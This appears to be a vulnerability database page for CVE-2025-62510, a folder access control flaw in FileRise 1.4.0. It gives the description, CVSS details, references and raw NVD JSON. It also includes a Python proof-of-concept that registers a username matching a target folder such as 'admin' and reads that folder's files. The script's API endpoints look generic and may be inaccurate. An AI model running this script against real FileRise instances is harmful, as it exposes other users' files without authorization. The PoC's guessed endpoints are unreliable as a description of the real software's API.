Security Vulnerability Report
中文
CVE-2025-62510 CVSS 8.1 HIGH

CVE-2025-62510

Published: 2025-10-20 18:15:40
Last Modified: 2025-12-04 19:12:57

Description

FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. In version 1.4.0, a regression allowed folder visibility/ownership to be inferred from folder names. Low-privilege users could see or interact with folders matching their username and, in some cases, other users’ content. This issue has been patched in version 1.5.0, where it introduces explicit per-folder ACLs (owners/read/write/share/read_own) and strict server-side checks across list, read, write, share, rename, copy/move, zip, and WebDAV paths.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:filerise:filerise:*:*:*:*:*:*:*:* - VULNERABLE
FileRise < 1.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62510 - FileRise Folder Access Control Bypass PoC # This PoC demonstrates how a low-privilege user can access folders # by matching their username to the folder name in FileRise 1.4.0 import requests TARGET_URL = "http://target-filerise-instance.com" # Step 1: Create a low-privilege account whose username matches # the target folder name (e.g., "admin" or a known folder owner) username = "admin" # Match this to the target folder name password = "AttackerPass123!" session = requests.Session() # Step 2: Register the malicious low-privilege user register_data = { "username": username, "password": password, "role": "user" # Low-privilege role } session.post(f"{TARGET_URL}/api/register", data=register_data) # Step 3: Login with the crafted account login_data = { "username": username, "password": password } session.post(f"{TARGET_URL}/api/login", data=login_data) # Step 4: List folders - the folder matching the username will be visible # due to the flawed name-based access control logic response = session.get(f"{TARGET_URL}/api/folders") print("[+] Folder list response:", response.json()) # Step 5: Access the folder contents that should not be accessible response = session.get(f"{TARGET_URL}/api/folder/{username}/contents") print("[+] Folder contents:", response.json()) # Step 6: Read files within the unauthorized folder response = session.get(f"{TARGET_URL}/api/folder/{username}/file/secret.txt") print("[+] File content:", response.text) # Note: In FileRise 1.5.0+, explicit per-folder ACLs are enforced, # and username matching no longer grants access. Upgrade to 1.5.0+.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62510", "sourceIdentifier": "[email protected]", "published": "2025-10-20T18:15:40.207", "lastModified": "2025-12-04T19:12:57.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. In version 1.4.0, a regression allowed folder visibility/ownership to be inferred from folder names. Low-privilege users could see or interact with folders matching their username and, in some cases, other users’ content. This issue has been patched in version 1.5.0, where it introduces explicit per-folder ACLs (owners/read/write/share/read_own) and strict server-side checks across list, read, write, share, rename, copy/move, zip, and WebDAV paths."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-280"}, {"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:filerise:filerise:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.0", "matchCriteriaId": "B088301A-54CD-46E2-89CA-83CCFB6640EA"}]}]}], "references": [{"url": "https://github.com/error311/FileRise/commit/b6d86b78967baa2f5a1e191903fc4df13998d87f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/error311/FileRise/issues/55", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/error311/FileRise/security/advisories/GHSA-jm96-2w52-5qjj", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}